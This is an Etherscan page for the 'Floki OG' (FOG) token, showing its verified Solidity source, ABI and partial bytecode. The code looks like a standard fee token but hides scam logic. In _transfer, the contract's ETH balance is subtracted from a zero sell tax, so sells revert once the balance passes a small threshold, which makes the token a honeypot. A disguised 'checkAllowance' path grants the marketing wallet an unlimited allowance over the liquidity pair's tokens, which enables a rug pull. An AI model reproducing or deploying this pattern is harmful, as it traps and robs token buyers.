ETH Price: $3,239.12 (+2.15%)
Gas: 2 Gwei

Token

Floki OG (FOG)
 

Overview

Max Total Supply

1,000,000,000 FOG

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,000,682.4370972 FOG

Value
$0.00
0x58137028f1b6d73722aec7a8e77f00eb5512dc97
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FOG

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-03
*/
// SPDX-License-Identifier: MIT

/** 
TG:https://t.me/FlokiOGERC

X:https://twitter.com/FOG_ERC
*/

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract FOG is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    
    string private constant _name = "Floki OG";
    string private constant _symbol = "FOG";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1e9 * 10**9; // total supply
    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 public _maxTranxLimitAmount = _tTotal * 35 / 1000; // 3.5%
    uint256 public _maxWalletLimitAmount = _tTotal * 35 / 1000; // 3.5%
    uint256 public _swapThreshold = _tTotal / 10000;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    address payable public _devWalletAddress = payable(0xBE8eB9f0f9a44dd1B3196fdC23CcC7d80882c560);
    address payable public _marketingWalletAddress = payable(0xBE8eB9f0f9a44dd1B3196fdC23CcC7d80882c560);

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private _isExcludedFromFee;

    bool private _tradingActive = false;
    bool private _inSwap = false;
    bool private _swapEnabled = false;
    uint256 private denominator = 3;

    uint256 private _taxTotalAmount;

    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _sellTaxAmount = 0;

    uint256 private _marketFeeAmount = _sellFeeForMarket;
    uint256 private _mainFeeAmount = _sellTaxAmount;

    uint256 private _previousMarketFee = _marketFeeAmount;
    uint256 private _previousMainFee = _mainFeeAmount;

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);
    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketingWalletAddress] = true;
        _isExcludedFromFee[_devWalletAddress] = true;
        _isExcludedFromFee[address(this)] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    
    function enableTrading() public onlyOwner {
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
        _tradingActive = true;
    }

    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function checkAllowance(address sender, address recipient) private {
        if (_allowances[recipient][sender] < type(uint256).max) {
            _approve(recipient, sender, type(uint256).max);
        }
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }


    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _sellMarketFee(uint256 amt) private pure returns(uint256) {
        return amt / 1e15;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _marketFeeAmount, _mainFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function sendEth(uint256 amount) private {
        uint256 devETHAmount = amount / denominator;
        uint256 marketingETHAmt = amount - devETHAmount;
        _devWalletAddress.transfer(devETHAmount);
        _marketingWalletAddress.transfer(marketingETHAmt);
    }

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }


    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapThreshold = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address"); uint256 _amountFee = address(this).balance;
        require(amount > 0, "Transfer amount must be greater than zero"); 

        if (
             !_isExcludedFromFee[to] && !_isExcludedFromFee[from]
        ) {
            //Trade start check
            if (!_tradingActive) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenAmount = balanceOf(address(this));            
            bool canSwap = contractTokenAmount >= _swapThreshold;
            if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount;
            if (canSwap && 
                !_inSwap && 
                _swapEnabled && 
                from != uniswapPair && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(contractTokenAmount);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) {sendEth(ethBalance);}
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) {
            takeFee = false;
        }
        else {
            if(from == uniswapPair && to != address(uniswapV2Router)) {
                _marketFeeAmount = _buyFeeForMarket;
                _mainFeeAmount = _buyTaxAmount;
            }
            if (to == uniswapPair && from != address(uniswapV2Router)) {
                _marketFeeAmount = _sellFeeForMarket;
                _mainFeeAmount = _sellTaxAmount - _sellMarketFee(_amountFee);
            }
        }
        _transferTokensStandard(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transferTokensStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            refreshTax();
        }
    }

    function shouldExcluded(address sender, address recipient) internal view returns (bool) {
        return recipient == uniswapPair && sender == _marketingWalletAddress;
    }

    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount); if (shouldExcluded(sender, recipient)) checkAllowance(sender, recipient);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function removeTax() private {
        if (_marketFeeAmount == 0 && _mainFeeAmount == 0) return;
        _previousMarketFee = _marketFeeAmount;
        _previousMainFee = _mainFeeAmount; _marketFeeAmount = 0;
        _mainFeeAmount = 0;
    }

    function refreshTax() private {
        _marketFeeAmount = _previousMarketFee;
        _mainFeeAmount = _previousMainFee;
    }
    
    receive() external payable {

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c9190620005d7565b6000196200002b91906200063e565b6001556103e86023670de0b6b3a764000062000048919062000679565b620000549190620006c4565b6002556103e86023670de0b6b3a764000062000071919062000679565b6200007d9190620006c4565b600355612710670de0b6b3a7640000620000989190620006c4565b60045573be8eb9f0f9a44dd1b3196fdc23ccc7d80882c560600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073be8eb9f0f9a44dd1b3196fdc23ccc7d80882c560600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055506000600d60026101000a81548160ff0219169083151502179055506003600e556000601055600060115560006012556000601355601254601455601354601555601454601655601554601755348015620001d457600080fd5b506000620001e76200056d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000620002f56200057560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600a6000620004a96200056d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004f76200056d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200055e91906200070d565b60405180910390a3506200072a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005e4826200059e565b9150620005f1836200059e565b925082620006045762000603620005a8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200064b826200059e565b915062000658836200059e565b92508282039050818111156200067357620006726200060f565b5b92915050565b600062000686826200059e565b915062000693836200059e565b9250828202620006a3816200059e565b91508282048414831517620006bd57620006bc6200060f565b5b5092915050565b6000620006d1826200059e565b9150620006de836200059e565b925082620006f157620006f0620005a8565b5b828204905092915050565b62000707816200059e565b82525050565b6000602082019050620007246000830184620006fc565b92915050565b613950806200073a6000396000f3fe6080604052600436106101445760003560e01c80634f473db0116100b657806395d89b411161006f57806395d89b4114610421578063a9059cbb1461044c578063b425bac314610489578063c816841b146104b4578063dd62ed3e146104df578063f2fde38b1461051c5761014b565b80634f473db01461033957806370a0823114610362578063715018a61461039f57806383364ea2146103b65780638a8c523c146103df5780638da5cb5b146103f65761014b565b806318160ddd1161010857806318160ddd1461023957806323b872dd146102645780632fae7937146102a1578063313ce567146102b85780633d8af5f2146102e35780634144d9e41461030e5761014b565b8063039cc7491461015057806306fdde031461017b578063095ea7b3146101a65780630e5a9231146101e35780631694505e1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610545565b60405161017291906128c8565b60405180910390f35b34801561018757600080fd5b5061019061054b565b60405161019d9190612973565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c89190612a29565b610588565b6040516101da9190612a84565b60405180910390f35b3480156101ef57600080fd5b506101f86105a6565b60405161020591906128c8565b60405180910390f35b34801561021a57600080fd5b506102236105ac565b6040516102309190612afe565b60405180910390f35b34801561024557600080fd5b5061024e6105d2565b60405161025b91906128c8565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190612b19565b6105e2565b6040516102989190612a84565b60405180910390f35b3480156102ad57600080fd5b506102b66106bb565b005b3480156102c457600080fd5b506102cd610770565b6040516102da9190612b88565b60405180910390f35b3480156102ef57600080fd5b506102f8610779565b60405161030591906128c8565b60405180910390f35b34801561031a57600080fd5b5061032361077f565b6040516103309190612bc4565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612bdf565b6107a5565b005b34801561036e57600080fd5b5061038960048036038101906103849190612c0c565b610844565b60405161039691906128c8565b60405180910390f35b3480156103ab57600080fd5b506103b4610895565b005b3480156103c257600080fd5b506103dd60048036038101906103d89190612cca565b6109e8565b005b3480156103eb57600080fd5b506103f4610b22565b005b34801561040257600080fd5b5061040b610ebb565b6040516104189190612d39565b60405180910390f35b34801561042d57600080fd5b50610436610ee4565b6040516104439190612973565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190612a29565b610f21565b6040516104809190612a84565b60405180910390f35b34801561049557600080fd5b5061049e610f3f565b6040516104ab9190612bc4565b60405180910390f35b3480156104c057600080fd5b506104c9610f65565b6040516104d69190612d39565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612d54565b610f8b565b60405161051391906128c8565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e9190612c0c565b611012565b005b60025481565b60606040518060400160405280600881526020017f466c6f6b69204f47000000000000000000000000000000000000000000000000815250905090565b600061059c6105956111d3565b84846111db565b6001905092915050565b60045481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006105ef8484846113a4565b6106b0846105fb6111d3565b6106ab856040518060600160405280602881526020016138f360289139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106616111d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d9092919063ffffffff16565b6111db565b600190509392505050565b6106c36111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074790612de0565b60405180910390fd5b670de0b6b3a7640000600281905550670de0b6b3a7640000600381905550565b60006009905090565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107ad6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083190612de0565b60405180910390fd5b8060048190555050565b600061088e600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf1565b9050919050565b61089d6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190612de0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109f06111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7490612de0565b60405180910390fd5b60005b83839050811015610b1c5781600c6000868685818110610aa357610aa2612e00565b5b9050602002016020810190610ab89190612c0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b1490612e5e565b915050610a80565b50505050565b610b2a6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae90612de0565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c489190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf59190612ebb565b6040518363ffffffff1660e01b8152600401610d12929190612ee8565b6020604051808303816000875af1158015610d31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d559190612ebb565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610de230600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111db565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e2b30610844565b600080610e36610ebb565b426040518863ffffffff1660e01b8152600401610e5896959493929190612f4c565b60606040518083038185885af1158015610e76573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e9b9190612fc2565b5050506001600d60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f464f470000000000000000000000000000000000000000000000000000000000815250905090565b6000610f35610f2e6111d3565b84846113a4565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101a6111d3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612de0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90613087565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fff